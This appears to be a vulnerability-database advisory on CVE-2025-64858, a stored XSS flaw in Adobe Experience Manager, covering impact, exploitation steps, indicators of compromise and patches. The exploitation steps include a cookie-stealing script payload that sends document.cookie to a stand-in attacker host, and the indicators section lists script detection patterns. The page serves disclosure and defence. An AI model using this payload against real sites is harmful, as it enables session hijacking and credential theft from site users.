CVE-2025-64858
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64858 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. It affects AEM versions 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browsers of other users who visit the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious content) and low privileges on the part of the attacker. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of user data within the AEM environment are at risk, though availability is not directly impacted. Because the payload is stored server-side, any user browsing the affected page — including administrators — may be targeted, amplifying the potential blast radius (Adobe Advisory).

Exploitation steps

  1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
  2. Obtain low-privileged access: Register or obtain a low-privileged author/contributor account on the target AEM instance.
  3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and render it without proper sanitization (e.g., text fields in page properties, content fragments, or custom forms).
  4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
  5. Trigger victim execution: Wait for or socially engineer a victim (including administrators) to browse the page containing the injected content, causing their browser to execute the malicious script.
  6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further compromise (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM author/publish environments.
  • File System / Content Repository: Presence of JavaScript payloads (<script>, eval(, document.cookie) stored within AEM JCR content nodes or page properties, discoverable via CRXDE Lite or repository queries.
  • Process/Browser: Unexpected redirects or pop-ups experienced by AEM users; browser developer tool console errors related to cross-origin requests triggered from AEM pages.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64858 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict authoring access to trusted users only and implement a Content Security Policy (CSP) header to limit script execution sources. Regularly audit AEM content for unexpected script injections using CRXDE Lite or automated scanning tools (Adobe Advisory).

Community reactions

CVE-2025-64858 was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. Tenable published a Nessus detection plugin (ID 278346) shortly after disclosure. No notable independent researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability aggregator coverage.

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management